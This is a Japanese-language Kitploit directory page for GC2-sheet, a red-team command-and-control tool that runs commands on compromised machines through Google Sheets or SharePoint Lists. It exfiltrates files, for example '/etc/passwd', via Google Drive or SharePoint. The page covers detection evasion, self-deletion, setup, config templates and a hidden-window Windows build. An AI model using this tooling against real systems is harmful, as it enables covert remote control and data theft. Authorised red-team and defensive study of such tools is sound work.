Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
GC2-sheet — GC2は、攻撃者がGoogle SheetまたはMicrosoft SharePoint Listを使用してターゲットマシン上でコマンドを実行し、Google DriveまたはMicrosoft SharePoint Documentを使用してファイルを外部に持ち出すことを可能にするコマンド&コントロールアプリケーションです。 | Kitploit
ツール/GitHubGitHub/loociprian/gc2-sheet
データ流出マルウェア分析コマンド&コントロールレッドチーミングリモートアクセスツール
GitHubloociprian/gc2-sheet

GC2-sheet

GC2は、攻撃者がGoogle SheetまたはMicrosoft SharePoint Listを使用してターゲットマシン上でコマンドを実行し、Google DriveまたはMicrosoft SharePoint Documentを使用してファイルを外部に持ち出すことを可能にするコマンド&コントロールアプリケーションです。

リポジトリを見る
649121322ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

GC2

Logo

GC2(Google Command and Control)は、攻撃者がGoogle SheetまたはMicrosoft SharePoint Listを使用してターゲットマシン上でコマンドを実行し、Google DriveまたはMicrosoft SharePoint Documentを使用してファイルを流出させることを可能にするコマンド&コントロールアプリケーションです。

なぜ

このプロジェクトは、レッドチーム活動において、特定のセットアップ(カスタムドメイン、VPS、CDNなど)を必要としないコマンド&コントロールを提供するために開発されました。

さらに、このプログラムはGoogleおよびMicrosoftのドメイン(*.google.comなど)とのみ通信するため、ネットワーク検出がより困難になります。

ワークフロー

Google

ワークフロー

Microsoft

ワークフロー

機能

  • コマンド実行: Google SheetまたはMicrosoft SharePoint Listをコンソールとして使用
  • ファイルのダウンロード: Google DriveまたはMicrosoft SharePoint Documentを使用してターゲットにファイルをダウンロード
  • データの流出: Google DriveまたはMicrosoft SharePoint Documentを使用
  • 自己破棄スイッチとターゲットマシンからの自動削除

コマンド実行

Google

C2によりGoogle Sheetが自動的に作成されます。作成後、以下のようにして侵害されたシステムと対話できます。

シートの権限

Microsoft

C2によりMicrosoft SharePoint Listが自動的に作成されます。作成後、以下のようにして侵害されたシステムと対話できます。

シートの権限

データ流出ファイル

ターゲットシステムからファイルを流出させるための特別なコマンドが用意されています。

root@kitploit:~
ターゲットからGoogle Drive/Microsoft SharePoint Documentへ
upload;<ローカルパス>
例:
upload;/etc/passwd

注: 同じ名前のファイルは自動的に上書きされます。

ファイルのダウンロード

ターゲットシステムにファイルをダウンロードするための特別なコマンドが用意されています。

Google

root@kitploit:~
Google Driveからターゲットへ
download;<google drive ファイルID>;<ローカルパス>
例:
download;<ファイルID>;/home/user/downloaded.txt

Microsoft

注: ファイルはSharePointのルートフォルダ(通常は "Documents")に保存する必要があります。

root@kitploit:~
SharePointからターゲットへ
download;<SharePoint ファイルパス>;<ローカルパス>
例:
download;download.txt;/home/user/downloaded.txt

終了

exit コマンドを送信すると、C2は自動的に終了し、ターゲットシステムから自身を削除します。

追記: os ドキュメントより: プロセスの開始にシンボリックリンクが使用された場合、オペレーティングシステムによっては、結果がシンボリックリンクまたはそれが指すパスになる可能性があります。この場合、シンボリックリンクが削除されます。

セットアップ

このC2は、Google(Google Sheet + Google Drive)とMicrosoft(SharePoint Lists + SharePoint Document)の両方のサービスをサポートしています。C2を使用するには、ローカルとクラウドの両方の設定が必要です。

クラウド設定

Google

  1. 新しいGoogle「サービスアカウント」を作成する

    https://console.cloud.google.com/ を使用して新しいGoogleサービスアカウントを作成し、そのサービスアカウント用の.jsonキーファイルを作成します。

  2. Google Sheet APIとGoogle Drive APIを有効にする

    Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api とGoogle Sheet API https://developers.google.com/sheets/api/quickstart/go を有効にします。

  3. Google SheetとGoogle Driveを設定する

    新しいGoogle Sheetを作成し、サービスアカウント(そのメールアドレスを使用)に(編集者として)共有します。

    シートの権限

    新しいGoogle Driveフォルダを作成し、サービスアカウント(そのメールアドレスを使用)に(編集者として)共有します。

    シートの権限

Microsoft

Microsoftサービスと連携するには、まずビジネスサブスクリプションが必要です(最初の30日間は無料で入手できます)。

  1. Azureアプリケーションを作成する

    https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http の説明に従って、新しいAzureアプリケーションを作成します。

    シートの権限

    新しいアプリケーションを作成したら、以下のGraph APIを有効にします。

    • Sites.ReadWrite.All
    • Files.ReadWrite.All

    シートの権限

ローカル設定

  1. C2をダウンロードする

    C2はGitHubから直接クローンできます。

    root@kitploit:~
    git clone https://github.com/looCiprian/GC2-sheet
    cd GC2-sheet
    
  2. C2を設定する

    C2を設定するには、cmd/options.yml ファイルを変更する必要があります。C2はGoogleとMicrosoftの両方のサービスをサポートしており、混在させることも可能です。

    Googleサービスのみ

    root@kitploit:~
    CommandService: "Google" # Google Sheetがコマンドサービスとして使用され、コマンドのプルと出力のプッシュを行います
    FileSystemService: "Google" # Google Driveがファイルシステムとして使用され、ファイルのダウンロードと流出を行います
    GoogleServiceAccountKey : "1234567890" # エスケープされたJSONファイル
    GoogleSheetID: "0987654321" # Google Sheet ID(URLから確認できます)
    GoogleDriveID: "1234554321" # Google DriveフォルダID(URLから確認できます)
    #RowId: 1 # オプション。ビーコンが新しいコマンドをプルする(Google SheetまたはSharePoint Listの)行を指定します
    #Proxy: "http://127.0.0.1:8080" # オプション。プロキシを指定します
    Verbose: true # オプション。デバッグ目的で推奨されます
    

    Googleサービスアカウントキーは、設定ファイルに貼り付ける前にエスケープする必要があります。エスケープには次のコマンドを使用できます。

    root@kitploit:~
    cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'
    

    Microsoftサービスのみ

    root@kitploit:~
    CommandService: "Microsoft" # Microsoft SharePoint Listがコマンドサービスとして使用されます
    FileSystemService: "Microsoft" # Microsoft SharePoint Documentがファイルシステムとして使用されます
    MicrosoftTenantID: "567890098765" # Azureアプリケーションが作成されたAzureテナントID
    MicrosoftClientID: "098765567890" # AzureアプリケーションID
    MicrosoftClientSecret: "1234509876" # Azureアプリケーションのシークレット値
    MicrosoftSiteID: "0987612345" # SharePoint ID
    #RowId: 1 # オプション。ビーコンが新しいコマンドをプルする行を指定します
    #Proxy: "http://127.0.0.1:8080" # オプション。プロキシを指定します
    Verbose: true # オプション。デバッグ目的で推奨されます
    

トラブルシューティング

ほとんどのエラーは、verbose フラグを true に設定することで検出できます。デフォルトでは、C2は出力やエラー情報を生成しません。

DEF CON スライド + デモ

DEF CON スライド

デモ

デモ by Grant Collins

免責事項

このプロジェクトの所有者は、本プログラムの不正使用について一切の責任を負いません。

これは、セキュリティ体制の評価や研究目的のために許可を得て使用されることを意図したオープンソースプロジェクトです。

最終的なユーザーは、自身の行動と判断に対して単独で責任を負います。このプロジェクトの使用は自己責任で行ってください。このプロジェクトの所有者は、このプロジェクトの使用によって生じた損失や損害について一切の責任を負いません。

プロジェクトをサポートする

プルリクエスト または paypal

コントリビューター

Paolo Conizzoli

このツールに関連する記事

DEF CON 32; DEF CON 32 Reddit

Google

The Hacker News

Reddit

LinkedIn

Bleeping Computer

Security Affairs

Icrewplay

Information Security Buzz

Hackdig

Hakin9

RedPacketSecurity

Cyware

Kitploit

同じコンセプトを使用したマルウェアに関するニュース:

The Hacker News - Voldemort Bleeping Computer - Voldemort

ツールをダウンロード

GoogleとMicrosoftサービスの混在

root@kitploit:~
CommandService: "Google" # Google Sheetがコマンドサービスとして使用されます
FileSystemService: "Microsoft" # Microsoft SharePoint Documentがファイルシステムとして使用されます
GoogleServiceAccountKey : "1234567890" # エスケープされたJSONファイル
GoogleSheetID: "0987654321" # Google Sheet ID
GoogleDriveID: "1234554321" # Google DriveフォルダID
MicrosoftTenantID: "567890098765" # AzureテナントID
MicrosoftClientID: "098765567890" # AzureアプリケーションID
MicrosoftClientSecret: "1234509876" # Azureアプリケーションのシークレット値
MicrosoftSiteID: "0987612345" # SharePoint ID
#RowId: 1 # オプション
#Proxy: "http://127.0.0.1:8080" # オプション
Verbose: true # オプション
  • 実行可能ファイルをビルドする

    異なるOSとアーキテクチャ向けにC2をクロスコンパイルする例をいくつか示します。

    root@kitploit:~
    env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"
    env GOOS=linux GOARCH=amd64 go build -ldflags "-s –w"
    env GOOS=darwin GOARCH=amd64 go build -ldflags "-s –w"
    
  • 実行

    コンパイル後、実行します。

    root@kitploit:~
    ./gc2-sheet
    

    ビーコンは、設定に応じて新しいGoogle SheetまたはMicrosoft SharePoint Listを自動的に作成します。